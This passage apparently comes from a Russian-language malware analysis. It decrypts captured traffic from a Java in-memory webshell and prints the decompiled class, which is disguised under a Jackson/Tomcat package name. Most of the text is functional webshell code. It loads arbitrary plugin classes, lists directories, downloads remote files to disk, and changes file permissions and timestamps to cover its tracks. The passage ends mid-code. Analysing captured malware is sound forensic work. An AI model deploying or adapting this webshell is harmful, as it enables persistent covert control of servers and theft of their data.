c9e6fd210c141c839fe03b06edd5ad6b38c068b9083c3b4d7c17abb2059d6c3fd57534f649d7ba3f8a97fb7eef0de55aa0b74f4099ffae9f2192d1a931ff87c0c4a3af824bacfa6238225935df407b5d77a068ccbd03ea727834470350708306f47d76cf08b7967146eda1e245da1939f00a4651dbeda30f4ebbfa3b14faba0e1a5d2cda54272e9464fe449d63d65dc03662fcaa6d52fd7781e0fc1d6f866695b1f18643516f62c44ef91b789bd3f056b2469c64a7076fe15e65c984fe54608b1402e942be349fb140ccdf73c5cd2e111d595da71da6ce7f3562c7242b9bdb2d51546992c510a289262d4bf118a36c7eab75f4729c1823f61b649d4878ecc8be907c06619b19d30823c3942d289eafc2abad29b945a30f6f9fc88863441c7748a96cad4f38e61ba36bbb041a15f4157e76de164536b250aa86f0ff0d5768079f1df5c63a44aa26b337849e3328a644883d7c9226ee869684bd9dd7be47eae5a5d6f0091b3a428b9880ef986a93736a8bccdf3fdd3bdbffd08d10c5699ab63d4d7ee5da485c939b4583935f9a64096b7d9e3e303dd2755d939ae08c77bb032cd30d00b7fd93891ae5ab14ede4c2f6b37d00d7020ad1f173831f657552df44791a2b1341bf564e47b7fce112613eccd89dd4ccac5ab51b26ae696353d4f77e20d9bc20c2d1342c3c7f8d5b4db54b75d9e10bf80b7ca4619d589579613b02a35689dde6ed3295850af4ba34db193911b6fd4811c7b38005486006d00c9e1efe19e25d247023b356f411875a3bcf16dce6c10375a036c8a37e3f8edb908460d49af82be07e446451c30463f5500e791f0a99445c526f0dbde97567510ab42ae39c76abfe5be1a08edede7f636f5af197050dac85028975cc28a0b55753b70c7a351ace0b5b037f8c2875816f3124e89291928cf9107211f005a893f60e5cbbf0f8d923c21cf1a40b23097275cbb294bf8c109f02850b1180769eb66616f7301adc38edb27c1e22e39259c753708cc10ba6ddda38f9779ff182a2277f7609ba0afebdebf7b6583b51b98acf93211aaa14d7a6471cc7371f1b4e9fde6c1842d6468d63d3d4abec6ac8f993092468bcbeb47ea19b4aa54ab23393c961f568f1ad84dd31d09c31836940547010aca6dbef726db095f942ebe1b5c18782d33cea64d08f3d8049e11c263d0efa4d709e96d9cb8757b758b47071144d125bdf88597d32d2af3b0193fc18814256e0b80f9ffe0616098f0225fdaa6affdb19f6dd9a5800b53d4fbec91ca8a6a4ba17c378757c6685f3fe50aff75fcbfaae63c33bcfd9ebcf02ecd3020a0474c398d87a89ec077f26756afbedce55821f31d1b001a2237409c1d094dd0feea3eaeddda2a5ff3955fab5b3b9748d2280c0e12644ec26710141605c904672963927e6f978c2494cecbb4462236cbf9a732c37ef7ea610a589d22c24baf6741dac1c28cab07259a9c4530d6e89ec270f8ca7a404f63a562c58935d95c0eb35dfd3d2555905195ef643dcf78e76c62bd39c2a9e4410781e80323665aa8e945f6582d319ccd65e9964e6152ba25494e68cf3e8271cffa9bc435a5922728078f646523bb89f0d6295910376ce95118b4067d465e01cdfc9a0192e89feb19e4a52b92ebf4d5caf9ed1857041a3c21fbf6aa9c4790ac8388ec698d1cb618a1cc0b90d897d730718a73556e5506aac230a94aa5118c5f44f812c0d0793ae499ac1586e86a2d151c730a03820a52c6eacb99c907b83268a449bbe973fd52179e1fccff52dbf6c0e27158259acbda829127c18304f2a1a0e28fbcb701ee46ac42c8cea493ca5d48e7bb3ec134718d0b8978ba12e2362f6370fba6fca27f37cd11c1147726de07091e7582c4517dc767026f0087f7b718f1e71b25a0f7cd17ba308c6a8da6f97f754d61f6dd05e85f1bb0d760862aa7ebfd3e040605ddbe71e71b58d27d564924f8db379e38f88d3997952698272e1426927a88d92c0e200fbea08055b15a8a9c6eafe43a754b8293d2a6ebaffefbe4ab9c694ba0555f2f45a501f6c3551a68d0f13e1be42ccc90bc582ffadee8f1159072a4f4474f3767bae16c823d90c969a700fb9910551b54909a9b728750bd08993f1f84da1e9d961965e4a768644b0d82dea1fd3971f448bf5362634b441b6ee8bbd1725178adf5ce1903098f316e4874040e20472602b1ea6332564013710d3d6feb8b507567260ec71f1dc1c770f35a0caa52d2f99cb1c8379f27e6ce6e42353242fab01c546479332adbad30f9ae74a8f3cd0fecc1e192460a732834cd335b89e1bc2eeb41a3109d3280cc8ae45ba56dd458ee0dd0bbdbcc8ef4586141f1c711cb0dd1387eafb0a2a22132ec1326ff5a6ddd465de0d268582f706bc1dc9455d2e3042cecca0a75d09be7f74f8ed4514ceca309d79597c85aa3c9438c3515d9da17ae8112fe2ae7baa86f6395de0f32baae42502f3d3032ca759fe44f5ba8f01ba2cc97e2cd82562cf5bd76e1db251b45d9995fa6d7ba84460e7bd0dad4976d003be32568c6e4f9bc3b1ccdf294c3ae5d643f7c9d15c32eaa559d6ecf8d5e45bfc705c623806b0f87afb773ce8f5d93cea44bd97bb5ad94c0a829bd4f5353570921f24d9effa4b273cc9bf1dd267e39cc49c11aaf36132d0404702d445cc43cd53cbe736361a5d7baedca5652ca82dd416c1ed3ce1f96b8377c7b817d59095ec29a79d2da2a8561eb47f93f7371ead7133876bde2a6ec9157e5931d511f3f9db7f3a71ae225422d877515eb6296c0dce1f2bd5dd9d40bdf9b6b6985a60f0018d7f6284f38d6be87ef5b99f3d144f0c69735aba7ad56a8fcabfb7475f4e367ebf52b43d703fd092e8bffa91b95c89ec72edcc331f81bbdeef150b2d8e175c99450380e0a6280a5e55b91ba2529cb8b9c73cfeac0dd713d752dee200f5323993c4accbcdd2437fcb2dab1ac06aafed2cd1a0cb0d1190e08f78dc88dcf70d44ffda29fb96681474ff468049d8accebbd2cc6297cffe42b75f1ff08e4ef0a351dae9b77aea0d555642c1a80c6bceeba4e4d6747b7fdfd2749fc854f865474d13d6a4a86e80f4210a01a7ad19ae50e98e638e03c00d8f578456445da5ed34015d0f131cd1184cb22c0255d519d1587996af8cfb77c9080b425f944ab7a2e81f1f79426db94e09b52f4663d0f8cf6e8ee69a40944b25f74ef957e6d6ffbfa54c8dfaf14be4f690ef5c9cc6ecb2b674293dd9ffbfb21f472dd665093c510842c2e38bbbc126d26c41b5ec947c74efb63412f91f5548a1f0e01687e74101bc7b4a34de4d7562b6f9daf68e896215b25fa7d5aa0da1df8c3e5537f17c7661b6379538fd0ba7cb6e287c389cf385b1af019b276d2d856ee4c1b990fe19ab80c9c6a7a0c630e4fcd09170df83dc6675b1723dbe96bb96bbfd568bbb8fbb210823e787dc9061fa40a5f816a9177baf939ba0ca8ac01dc721b5f09a7e42cd808be2a024d0aa70498a90d098c525f2b45e871fd331a3746331f94667dd0a3579e5cb66a4700586728eb20c4110769f4cf2eaa433c24728822bb1c50a998d758e5d62fe099144f52c1643069ea4b5b7d14e9f3a5fd68ec05a723178bc74dbc6c736d4bfb9eb286fbf3fbcc254c269b5677ae8862381409d8024ce076338e3ad843f6b9f360b28602b008fb659df43061c74df1eecad2357739bcd6b8c664561cf8cd04ae9261f329dc84cdb83b3466ec2ea60e9630471d8cfd036795a8fca35e513f589856ba423d589c8e4f4e9a443f49d6b493ceb0406712a7d68f6df8e49338de0df1d5eb5a749625b071dc905e142c75e9ded4f2119e679bd24bfa04692dd195f32f1643b27e156327c31170dfc2a95c2d5e7edf175e3c36f78dd855f117b421dd2095ee433b9e8794f8b7361b881d255215e5eac2d9b086ef261bf82fb9a22b78a5f4122fd78dfb49f07188ed1e8d20ebb42ee98bea802187fa519304625a08e27fd90a70c7835b7e6a9be806fcdb256f87370d31845b01b32b06a27d97cd98ce940d6a37fb25587052df5a3898a09a82fab25b9422ac93ea05d94eabbbfd9b5465a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633\"}"; byte[] requestData = b.getBytes(StandardCharsets.UTF_8); byte[] _requestData = new byte[requestData.length - 112]; //java.lang.System.arraycopy(requestData,110,_requestData);
*/
java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);
requestData = _requestData;
requestData = unHex(requestData);
requestData = aes128(requestData,2);
Files.write(Paths.get("./233.class"),requestData);
}
}
Проверяем извлеченный класс памяти лошади
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package org.apache.coyote.introspect;import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintStream;import java.io.RandomAccessFile;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Arrays;import java.util.Date;import java.util.Enumeration;import java.util.HashMap;import java.util.Hashtable;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Properties;import java.util.Random;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;import javax.imageio.ImageIO;public class JacksonAnnotationIntrospector extends ClassLoader { public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; private static Map sessionMap = new Hashtable();
Map parameterMap; byte[] requestData;
ByteArrayOutputStream outputStream;
Object servletRequest;
Map session; public JacksonAnnotationIntrospector() {
} public JacksonAnnotationIntrospector(ClassLoader var1) { super(var1);
} public Class defineClass(byte[] var1) { return super.defineClass((String)null, var1, 0, var1.length, this.getClass().getProtectionDomain());
} public byte[] run() { try {
String var1 = this.get("evalClassName");
String var20 = this.get("methodName"); if (var20 == null) { return "Method is empty".getBytes();
} else {
Object var21 = null; if (var1 != null) {
Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes();
} this.parameterMap.put("sessionTable", this.session); this.parameterMap.put("servletRequest", this.servletRequest);
var21 = var4.newInstance();
}
Method var22 = null; boolean var5 = var21 != null;
Class var6 = var5 ? var21.getClass() : this.getClass();
var21 = var5 ? var21 : this; byte[] var7 = this.getByteArray("invokeMethod");
Class[] var8 = new Class[1];
Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) {
Class var10002; try {
var10002 = class$0; if (var10002 == null) { try {
var10002 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var17) { throw new NoClassDefFoundError(var17.getMessage());
} class$0 = var10002;
}
var8[0] = var10002;
var22 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var18) { try {
var10002 = class$1; if (var10002 == null) { try {
var10002 = Class.forName("java.util.Dictionary");
} catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage());
} class$1 = var10002;
}
var8[0] = var10002;
var22 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var16) { try {
var8 = new Class[0];
var9 = new Object[0];
var22 = var6.getMethod(var20, var8);
} catch (NoSuchMethodException var14) { return "No Such Method".getBytes();
}
}
}
}
Object var10 = null; if (var22 != null) {
var10 = var22.invoke(var21, var9);
} else {
var21.equals(this.parameterMap);
var21.toString();
var10 = this.parameterMap.get("result");
}
Class var10000 = class$2; if (var10000 == null) { try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$2 = var10000;
} if (var10000.isInstance(var10)) { return (byte[])var10;
} else {
var10000 = class$3; if (var10000 == null) { try {
var10000 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$3 = var10000;
} if (var10000.isInstance(var10)) { return ((String)var10).getBytes();
} else {
var10000 = class$0; if (var10000 == null) { try {
var10000 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage());
} class$0 = var10000;
} return var10000.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
}
}
}
} catch (Throwable var19) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
PrintStream var3 = new PrintStream(var2);
var19.printStackTrace(var3);
var3.flush();
var3.close(); return var2.toByteArray();
}
} public HashMap deserialize(byte[] var1, boolean var2) {
HashMap var3 = new HashMap();
ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte[] var6 = new byte[4]; try {
Object var7 = var4; if (var2) {
var7 = new GZIPInputStream(var4);
} while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break;
} int var9;
String var10; if (var8 == 1) {
((InputStream)var7).read(var6);
var9 = bytesToInt(var6);
var10 = var5.toString();
var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
var5.reset();
} else if (var8 == 2) {
((InputStream)var7).read(var6);
var9 = bytesToInt(var6);
var10 = var5.toString();
var3.put(var10, this.readInputStream((InputStream)var7, var9));
var5.reset();
} else {
var5.write(var8);
}
}
} catch (Exception var11) {
} return var3;
} public byte[] serialize(Map var1) {
Iterator var2 = var1.keySet().iterator();
ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try {
String var4 = (String)var2.next();
Object var5 = var1.get(var4);
var3.write(var4.getBytes()); byte[] var6; if (var5 instanceof byte[]) {
var3.write(2);
var6 = (byte[])var5;
} else if (var5 instanceof Map) {
var3.write(1);
var6 = this.serialize((Map)var5);
} else {
var3.write(2); if (var5 == null) {
var6 = "NULL".getBytes();
} else {
var6 = var5.toString().getBytes();
}
}
var3.write(intToBytes(var6.length));
var3.write(var6);
} catch (Exception var7) {
}
} return var3.toByteArray();
} public boolean equals(Object var1) { return var1 != null && this.handle(var1);
} public boolean handle(Object var1) { if (var1 == null) { return false;
} else {
Class var10000 = class$4; if (var10000 == null) { try {
var10000 = Class.forName("java.io.ByteArrayOutputStream");
} catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage());
} class$4 = var10000;
} if (var10000.isInstance(var1)) { this.outputStream = (ByteArrayOutputStream)var1;
} else {
var10000 = class$2; if (var10000 == null) { try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var2) { throw new NoClassDefFoundError(var2.getMessage());
} class$2 = var10000;
} if (var10000.isInstance(var1)) { this.requestData = (byte[])var1;
} else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) { this.servletRequest = var1;
}
} return false;
}
} private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false;
} else { boolean var3 = false;
Class var4 = null; try { try {
var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader());
} catch (Exception var5) {
var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader());
}
} catch (Exception var6) {
} if (var4 != null && var4.isInstance(var1)) {
var3 = true;
} return var3;
}
} public String toString() { if (this.outputStream != null && this.requestData != null) { try { this.parameterMap = this.deserialize(this.requestData, true);
String var1 = this.sessionId(); if (var1 != null) { this.session = (Map)sessionMap.get(var1);
}
String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString();
}
GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream); byte[] var4 = this.run();
var3.write(var4);
var3.close(); this.outputStream.close(); this.parameterMap = null; this.requestData = null; this.outputStream = null; this.servletRequest = null; this.session = null;
} catch (Throwable var5) {
}
} return super.toString();
} public String get(String var1) { try { return new String((byte[])this.parameterMap.get(var1));
} catch (Exception var2) { return null;
}
} public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1);
} catch (Exception var2) { return null;
}
} public byte[] test() {
HashMap var1 = new HashMap();
String var2 = this.sessionId(); if (this.session == null) {
var2 = getRandomString(16); this.session = new Hashtable(); this.session.put("alive", Boolean.TRUE);
sessionMap.put(var2, this.session);
}
var1.put("sessionId", var2); return this.serialize(var1);
} public byte[] getFile() {
String var1 = this.get("dirName");
HashMap var2 = new HashMap(); if (var1 != null) {
var1 = var1.trim(); try {
String var3 = (new File(var1)).getAbsoluteFile() + "/";
File var16 = new File(var3); if (var16.exists() && var16.isDirectory()) {
File[] var5 = var16.listFiles(); if (var5 != null) { for(int var6 = 0; var6 < var5.length; ++var6) {
HashMap var7 = new HashMap();
File var8 = var5[var6]; try {
var7.put("0", var8.getName());
var7.put("1", var8.isDirectory() ? "0" : "1");
var7.put("2", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(var8.lastModified())));
var7.put("3", Long.toString(var8.length()));
StringBuffer var9 = (new StringBuffer(String.valueOf(var8.canRead() ? "R" : ""))).append(var8.canWrite() ? "W" : ""); try {
Class var10001 = class$5; if (var10001 == null) { try {
var10001 = Class.forName("java.io.File");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$5 = var10001;
}
Method var10 = this.getMethodByClass(var10001, "canExecute", (Class[])null); if (var10 != null) {
Boolean var11 = (Boolean)var10.invoke(var8); if (var11) {
var9.append("X");
}
}
} catch (Throwable var13) {
}
String var17 = var9.toString();
var7.put("4", var17 != null && var17.trim().length() != 0 ? var17 : "F");
} catch (Throwable var14) {
var7.put("errMsg", var14.getMessage());
}
var2.put(String.valueOf(var6), var7);
}
var2.put("count", String.valueOf(var5.length));
var2.put("currentDir", var3);
}
} else {
var2.put("errMsg", "dir does not exist");
}
} catch (Exception var15) {
StringBuffer var4 = new StringBuffer();
var4.append("Exception errMsg:");
var4.append(var15.getMessage());
var2.put("errMsg", var4.toString());
}
} else {
var2.put("errMsg", "No parameter dirName");
} return this.serialize(var2);
} public String listFileRoot() {
File[] var1 = File.listRoots();
String var2 = new String(); for(int var3 = 0; var3 < var1.length; ++var3) {
var2 = var2 + var1[var3].getPath();
var2 = var2 + ";";
} return var2;
} public byte[] fileRemoteDown() {
String var1 = this.get("url");
String var2 = this.get("saveFile"); if (var1 != null && var2 != null) {
FileOutputStream var3 = null; try {
InputStream var4 = (new URL(var1)).openStream();
var3 = new FileOutputStream(var2); byte[] var9 = new byte[5120]; int var6; while((var6 = var4.read(var9)) != -1) {
var3.write(var9, 0, var6);
}
var3.flush();
var3.close();
var4.close(); return "ok".getBytes();
} catch (Exception var8) { if (var3 != null) { try {
var3.close();
} catch (IOException var7) { return var7.getMessage().getBytes();
}
}
StringBuffer var5 = new StringBuffer();
var5.append("Exception errMsg:");
var5.append(var8.getMessage()); return var5.toString().getBytes();
}
} else { return "url or saveFile is null".getBytes();
}
} public byte[] setFileAttr() {
String var1 = this.get("type");
String var2 = this.get("attr");
String var3 = this.get("fileName");
String var4 = "Null"; if (var1 != null && var2 != null && var3 != null) { try {
File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) {
Class var10001 = class$5; if (var10001 == null) { try {
var10001 = Class.forName("java.io.File");
} catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage());
} class$5 = var10001;
} if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) {
var5.setReadable(true);
} if (var2.indexOf("W") != -1) {
var5.setWritable(true);
} if (var2.indexOf("X") != -1) {
var5.setExecutable(true);
}
var4 = "ok";
} else {
var4 = "Java version is less than 1.6";
}
} else if ("fileTimeAttr".equals(var1)) {
Date var29 = new Date(0L);
StringBuffer var7 = new StringBuffer();
var7.append(var2); char[] var8 = new char[13 - var7.length()];
Arrays.fill(var8, '0');
var7.append(var8);
var29 = new Date(var29.getTime() + Long.parseLong(var7.toString()));
var5.setLastModified(var29.getTime());
var4 = "ok"; try {
Class var9 = Class.forName("java.nio.file.Paths");
Class var10 = Class.forName("java.nio.file.Path");
Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
Class var12 = Class.forName("java.nio.file.Files");
Class var13 = Class.forName("java.nio.file.attribute.FileTime");
Class var14 = Class.forName("[java.nio.file.LinkOption");
Class[] var10002 = new Class[2];
Class var10005 = class$3; if (var10005 == null) { try {
var10005 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage());
} class$3 = var10005;
}
var10002[0] = var10005;
var10005 = class$6; if (var10005 == null) { try {
var10005 = Class.forName("[Ljava.lang.String;");
